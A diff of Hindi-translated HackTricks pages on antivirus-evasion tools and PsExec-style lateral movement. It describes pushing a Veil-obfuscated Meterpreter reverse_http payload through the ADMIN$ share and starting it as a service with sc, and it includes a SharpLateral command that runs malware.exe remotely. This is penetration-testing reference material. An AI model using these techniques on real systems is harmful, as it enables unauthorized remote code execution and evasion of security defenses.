* यदि उसी निर्देशिका में `UltraVNC.ini` नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) को खोलेगा
|
||||
* मदद के लिए `winvnc -h` न चलाएँ या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) ट्रिगर करेंगे
|
||||
* यदि `winvnc` पहले से चल रहा है तो इसे शुरू न करें या आप [पॉपअप](https://i.imgur.com/1SROTTl.png) ट्रिगर कर देंगे। जांचें कि यह चल रहा है `tasklist | findstr winvnc`
|
||||
* यदि उसी निर्देशिका में `UltraVNC.ini` नहीं है तो `winvnc` शुरू न करें या यह [कॉन्फ़िग विंडो](https://i.imgur.com/rfMQWcf.png) खोलेगा
|
||||
* मदद के लिए `winvnc -h` न चलाएँ या आप [पॉपअप](https://i.imgur.com/oc18wcu.png) ट्रिगर कर देंगे
|
||||
|
||||
### GreatSCT
|
||||
|
||||
|
@ -569,22 +569,22 @@ https://github.com/praetorian-code/vulcan
|
|||
|
||||
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# PsExec/Winexec/ScExec
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,13 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## यह कैसे काम करता है
|
||||
|
||||
प्रक्रिया नीचे दिए गए चरणों में वर्णित है, जो दिखाती है कि सेवा बाइनरी को SMB के माध्यम से लक्षित मशीन पर दूरस्थ निष्पादन प्राप्त करने के लिए कैसे हेरफेर किया जाता है:
|
||||
प्रक्रिया नीचे दिए गए चरणों में वर्णित है, जो दिखाती है कि सेवा बाइनरी को लक्षित मशीन पर SMB के माध्यम से दूरस्थ निष्पादन प्राप्त करने के लिए कैसे हेरफेर किया जाता है:
|
||||
|
||||
1. **ADMIN$ शेयर पर SMB के माध्यम से एक सेवा बाइनरी की कॉपी** की जाती है।
|
||||
2. **दूरस्थ मशीन पर एक सेवा का निर्माण** बाइनरी की ओर इशारा करके किया जाता है।
|
||||
|
@ -32,11 +30,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
मान लेते हैं कि एक निष्पादन योग्य पेलोड (जो msfvenom के साथ बनाया गया है और एंटीवायरस पहचान से बचने के लिए Veil का उपयोग करके छिपाया गया है), जिसका नाम 'met8888.exe' है, जो एक मीटरप्रीटर रिवर्स_http पेलोड का प्रतिनिधित्व करता है, निम्नलिखित चरण उठाए जाते हैं:
|
||||
|
||||
* **बाइनरी की कॉपी करना**: निष्पादन योग्य को एक कमांड प्रॉम्प्ट से ADMIN$ शेयर पर कॉपी किया जाता है, हालांकि इसे फ़ाइल सिस्टम पर कहीं भी रखा जा सकता है ताकि यह छिपा रहे।
|
||||
* **बाइनरी की कॉपी करना**: निष्पादन योग्य को कमांड प्रॉम्प्ट से ADMIN$ शेयर पर कॉपी किया जाता है, हालांकि इसे फ़ाइल सिस्टम पर कहीं भी रखा जा सकता है ताकि यह छिपा रहे।
|
||||
* **एक सेवा बनाना**: Windows `sc` कमांड का उपयोग करते हुए, जो दूरस्थ रूप से Windows सेवाओं को क्वेरी, बनाने और हटाने की अनुमति देता है, "meterpreter" नामक एक सेवा बनाई जाती है जो अपलोड की गई बाइनरी की ओर इशारा करती है।
|
||||
* **सेवा शुरू करना**: अंतिम चरण में सेवा को शुरू करना शामिल है, जो संभवतः "टाइम-आउट" त्रुटि का परिणाम देगा क्योंकि बाइनरी एक वास्तविक सेवा बाइनरी नहीं है और अपेक्षित प्रतिक्रिया कोड लौटाने में विफल रहती है। यह त्रुटि महत्वहीन है क्योंकि प्राथमिक लक्ष्य बाइनरी का निष्पादन है।
|
||||
|
||||
Metasploit श्रोता का अवलोकन करने पर पता चलेगा कि सत्र सफलतापूर्वक आरंभ किया गया है।
|
||||
Metasploit श्रोता का अवलोकन करने से पता चलेगा कि सत्र सफलतापूर्वक आरंभ किया गया है।
|
||||
|
||||
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
|
@ -54,20 +52,18 @@ SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
|
|